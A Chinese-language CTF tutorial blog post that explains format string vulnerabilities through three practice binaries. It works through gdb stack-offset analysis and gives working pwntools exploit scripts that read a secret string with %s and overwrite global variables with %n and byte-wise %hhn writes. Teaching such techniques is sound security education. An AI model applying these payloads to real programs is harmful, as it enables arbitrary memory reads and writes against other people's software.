格式化字符串漏洞是 PWN 中一定要掌握的一种基本漏洞。它比栈溢出漏洞稍稍复杂一点,需要对函数的调用过程有着更全面的理解,尤其是调用栈的变化情况。

格式化字符串的构造需要一定的技巧,本文通过两个简单的示例程序来进行演示。

术语说明

首先对格式化字符串中的一些术语做一个约定,以避免下文产生歧义。对于如下函数调用:

printf("%d%s", num, str);

我们做如下约定:

  • "%d%s":称为“printf 的第一个参数”,也称为“格式化字符串”或“格式化字符串本身”;
  • num:称为“printf 的第二个参数”,也称为“格式化字符串的第一个参数”;
  • str:称为“printf 的第三个参数”,也称为“格式化字符串的第二个参数”。

例如,格式化字符串 "%k$n"k 表示数字而非字母'k')对应的是格式化字符串的第 k 个参数,是 printf 的第 k+1 个参数。

example 的利用

代码审计

用 IDA 打开 example,观察代码行为。程序主体有一个 do-while 循环,当用户输入“exit”时退出循环,然后检查全局变量 isadmin 的值是否等于 2730(即 0xAAA,下文默认用十进制表示)。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char buf[256]; // [esp+0h] [ebp-108h]

  init();
  do
  {
    read(0, buf, 0x100u);
    printf(buf);
  }
  while ( strcmp(buf, "exit") );
  if ( isadmin == 2730 )
    result = puts("You are admin. Why are you so good?");
  else
    result = printf("You are not admin!");
  return result;
}

显然第 10 行的 printf(buf); 存在格式化字符串漏洞。在本例中,buf 就是 printf 函数的第一个参数指向的位置,也就是格式化字符串的地址。

我们的目标是利用格式化字符串漏洞,将 isadmin 变量的值覆盖为 2730。这是利用格式化字符串漏洞来进行任意内存写入。在 IDA 中可以查看到 isadmin 的地址,为 0x0804A10C,这是我们要写入的目标地址,长度为一个双字(dd),即 4 个字节。

确定栈中的参数位置

用 gdb 打开 example,并在 printf 函数处下断点,之后开始运行程序。提醒输入时,随意输入一些字符作为标记,如“ABCDEFGHIJKLMN”,然后按下回车。此时程序会在断点处停下。

gdb-peda$ b printf
Breakpoint 1 at 0x8048400
gdb-peda$ r
Starting program: /home/jedvm/Desktop/02/example1/x86/example 
ABCDEFGHIJKLMN

在断点处观察栈的结构:

上图中红框是 printf 的第一个参数的地址,该参数是一个指针,指向格式化字符串的位置(蓝框),也就是伪代码中的 buf 的起始地址。现在我们知道了,buf 的起始地址距离 printf 的第一个参数有 8 个字节,换句话说,我们可以认为 buf的起始位置在 printf 的第 3 个参数位置上。

构造格式化字符串

利用格式化字符串漏洞覆盖内存的方法是使用“%n”。由于要覆盖的数字是 2730,比较大,超过了 buf 的长度 256 字节,所以要使用“%2730c”来使 printf 打印出 2730 个字符,而无需真的向 buf 中填充两千多个字符。

通过构造栈结构可以看出要写入的地址位于格式化字符串的第 5 个参数(见本文开头的术语说明),如下图。最后,为了使得地址处在 4 字节对齐的位置,需要在再补充两个任意字符(如 'A')。我们构造的栈如下:

exp 如下:

from pwn import *

conn = process("./example")

isadmin_addr = 0x0804A10C
conn.sendline('%2730c%5$nAA' + p32(isadmin_addr))
conn.sendline('exit\0')
conn.interactive()

运行脚本,成功。

本文地址:https://www.jeddd.com/article/ctf-pwn-format-string.html

fmtstr0 的利用

代码审计

IDA 生成伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char *v4; // esi
  signed int i; // [esp+0h] [ebp-134h]
  char s1; // [esp+4h] [ebp-130h]
  char s; // [esp+18h] [ebp-11Ch]
  unsigned int v9; // [esp+118h] [ebp-1Ch]
  int *v10; // [esp+128h] [ebp-Ch]

  v10 = &argc;
  v9 = __readgsdword(0x14u);
  v3 = time(0);
  srand(v3);
  for ( i = 0; i <= 15; ++i )
  {
    v4 = table;
    secret_str[i] = v4[rand() % 16];
  }
  secret_str[16] = 0;
  puts("Please input your name:");
  gets(&s);
  puts("Welcome:");
  printf(&s);
  puts((const char *)&unk_8048851);
  puts("Please tell me the secret string:");
  __isoc99_scanf();
  if ( !strcmp(&s1, secret_str) )
  {
    puts("Why are you so good?");
    puts("You get 20 points!");
  }
  else
  {
    puts("You are not good enough :(");
  }
  return 0;
}

这段程序首先利用随机函数生成了一段 16 个字节长的字符串 secret_str,我们的目标就是获取到这个字符串,然后将其再次输入进程序进行验证。

在 IDA 中可以查看到 secret_str 的地址为 0x0804A044。

漏洞存在于第 24 行的 printf(&s);

确定栈中参数的位置

与 example 类似,用 gdb 来确定栈中参数的位置。在 printf 下断点,开始运行后输入“ABCDEFGH”。触发断点时,栈如下:

红框是 printf 第一个参数的地址,蓝框是格式化字符串本身的地址,作差得 0xffffcf5c - 0xffffcf30 = 0x2c = 44,44 / 4 = 11,说明缓冲区 s 位于 printf 的第 11 个参数的位置上。

构造格式化字符串

分析方法与 example 几乎完全相同。不同的是,在 fmtstr0 的利用中,我们是要读取内存而不是写入内存,要读取的地址为 0x0804A044(由 IDA 查看到的 secret_str 的地址)。读取字符串使用的是“%s”。构造格式化字符串时,还要注意补充字符到 4 的倍数长。

上面我们得到了格式化字符串的起始地址是第 11 个参数(注意这是个两位数),由于在打印地址之前要先打印诸如 %kk$sAAA 的字符串(kk 为待定值),占用了 8 个字节,所以目标地址成为了格式化字符串的第 13 个参数(见本文开头的术语说明),即 kk = 13。

exp 如下:

from pwn import *

conn = process('./fmtstr0')
secret_str_addr = 0x0804A044

conn.recvuntil('Please input your name:')
conn.sendline('%13$sAAA' + p32(secret_str_addr))
conn.recvuntil('Welcome:\n')
secret_str = conn.recvuntil('Please')[:16]
conn.sendline(secret_str)

conn.interactive()

运行脚本,成功:

注:由于一些问题,以上脚本有一定几率会失败,多试几次即可成功。

fmtstr1 的利用

写入小数字

写入小数字的过程与 example 的利用完全相同。

伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [esp+8h] [ebp-70h]
  unsigned int v5; // [esp+6Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  puts("Please input your name:");
  buf[read(0, buf, 0x63u)] = 0;
  printf("Hello! ");
  printf(buf);
  puts(&byte_80486A1);
  goodbye();
  return 0;
}

漏洞存在于第 10 行的 printf(buf);。继续用 IDA 查看 goodbye() 函数:

void goodbye()
{
  if ( flag == 255 )
  {
    puts("You got 10 points!");
  }
  else
  {
    if ( flag != 0xDEADFACE )
    {
      puts("? ? ?");
      return;
    }
    puts("You got 20 points!");
  }
  puts("Bye!");
}

写入小数字的目标是把 flag 覆盖为 255。在 IDA 中得到 flag 的地址为 0x0804A02C。在 printf 处下断点,在断点处查看栈:

格式化字符串本身位于 printf 的第 ( 0xffffd038 - 0xffffd020 ) / 4 = 6 个参数。根据前面讲过的方法,就可以构造出 payload:

'%255c%9$nAAA' + p32(flag_addr)

Exp:

from pwn import *

conn = process('./fmtstr1')
flag_addr = 0x0804A02C

conn.recvuntil('Please input your name:')
conn.sendline('%255c%9$nAAA' + p32(flag_addr))
conn.interactive()

成功:

写入大数字

思路

要向 flag 写入 0xDEADFACE,不能再用以前的方法了,因为这是一个很大的数字,如果要让 printf 真的输出这么多字符,那么将会很慢。

写入大数字的方法是按字节分别写入,即在 0x0804A02C 开始分别写入四个字节,注意 little-endian 系统中低字节位于低地址。下面列出了要写入的地址、要写入的内容十六进制、要写入的内容十进制:

0x0804A02C -> 0xCE -> 206
0x0804A02D -> 0xFA -> 250
0x0804A02E -> 0xAD -> 173
0x0804A02F -> 0xDE -> 222

构造 payload

下面我们开始构造 payload。

要写入多个字节,把地址放在格式化字符串的前面而不是后面就会方便很多,不用一个个算地址在格式化字符串中的偏移量。因此 payload 的开头是四个字节的地址:

payload = p32(flag_addr) + p32(flag_addr+1) + p32(flag_addr+2) + p32(flag_addr+3)

在写入小数字的时候我们已经知道了格式化字符串本身的地址位于格式化字符串的第 6 个参数的位置。所以,现在我们要写入的四个字节分别位于格式化字符串的第 6、7、8、9 个参数的位置。

  • 最开始的四个地址,填入共 16 个字节;
  • 第一个要写入的数字是 0xCE,即十进制的 206,减去 16 的到 190,所以第一段格式化字符串为 '%190c%6$hhn',此时共已写入 206 字节;
  • 第二个要写入的数字是 0xFA,即十进制的 250,减去已写入的 206 得到 44,所以第二段格式化字符串为 '%44c%7$hhn',此时共已写入 250 字节;
  • 第三个要写入的数字是 0xAD,即十进制的 173,它小于前面已经写过的数字总量。由于用 %hhn 只会写入一个字节,所以可以额外写入 256 字节向上“进位”。173 + 256 - 250 = 179,所以第三段格式化字符串为 '%179c%8$hhn',此时共已写入 429 字节;
  • 第四个要写入的数字是 0xDE,即十进制的 222。使用前面同样的方法,222 + 256 - 429 = 49,所以第四段格式化字符串为 '%49c%9$hhn'

将 payload 补充完整:

payload += '%190c%6$hhn' + '%44c%7$hhn' + '%179c%8$hhn' + '%49c%9$hhn'

最终 exp 如下:

from pwn import *

conn = process('./fmtstr1')
flag_addr = 0x0804A02C

payload = p32(flag_addr) + p32(flag_addr+1) + p32(flag_addr+2) + p32(flag_addr+3)
payload += '%190c%6$hhn' + '%44c%7$hhn' + '%179c%8$hhn' + '%49c%9$hhn'

conn.recvuntil('Please input your name:')
conn.sendline(payload)
conn.interactive()

成功:

写在后面

格式化字符串漏洞相比前面的栈溢出漏洞更难理解,需要一些技巧才能构造出合适的格式化字符串。构造 payload 时,地址在前或在后都可以,需要根据情况考虑。覆盖大数字和小数字的方法也不完全相同,这些都是技巧性的体现。

本文地址:https://www.jeddd.com/article/ctf-pwn-format-string.html